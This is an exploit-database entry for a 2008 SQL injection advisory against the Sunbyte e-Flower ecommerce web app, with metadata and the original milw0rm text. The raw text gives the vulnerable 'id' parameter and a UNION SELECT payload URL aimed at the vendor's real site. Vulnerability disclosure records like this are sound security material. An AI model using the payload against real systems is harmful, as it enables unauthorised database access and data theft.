SunByte e-Flower SQL Injection Attack by [W4RL0CK]

vendor:

Sunbyte e-Flower (eCommerce webapp)

by:

W4RL0CK

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Sunbyte e-Flower (eCommerce webapp)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SunByte e-Flower SQL Injection Attack by [W4RL0CK]

An attacker can inject malicious SQL queries into the 'id' parameter of the 'popupproduct.php' script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. An example of a malicious URL is http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

#===========================================================
#
# SunByte e-Flower SQL Injection Attack by [W4RL0CK]
#
#===========================================================
# 
# VENDOR: Sunbyte  URL: http://www.sunbyte.net/
# APP: Sunbyte e-Flower (eCommerce webapp)
# APP SITE: http://www.sunbyte.net/products/index.php?screen=eflower
# AUTHOR: W4RL0CK
# DATE: 29/11/08
# VULN.: SQL INJECTION
#
# 
# WEBSITE: http://warlock.iblogger.org
# CONTACT: w4rl0ck@hackermail.com
#
#===========================================================
#
# Expl0itin6:
#
# http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]
#
# Liv3 dEm0:
#
# http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12
#
#
#
# now, use y0ur imaginati0n!  ;) 
# note: there could be more vulnerabilities in the application
#
#===========================================================
#
# gr33tz t0 >>>>>>>>> CHIL34N T34M <<<<<<<<<<<<
#  ===================================================
# [ we ar3: Vicent0! ~ ThE.Xin0x ~ Par4d0gX ~ W4RL0CK ]
#  ===================================================
#
#     and all m3mb3rs of: [MiTM.cL]       & str0ke
#
#===========================================================

# milw0rm.com [2008-12-02]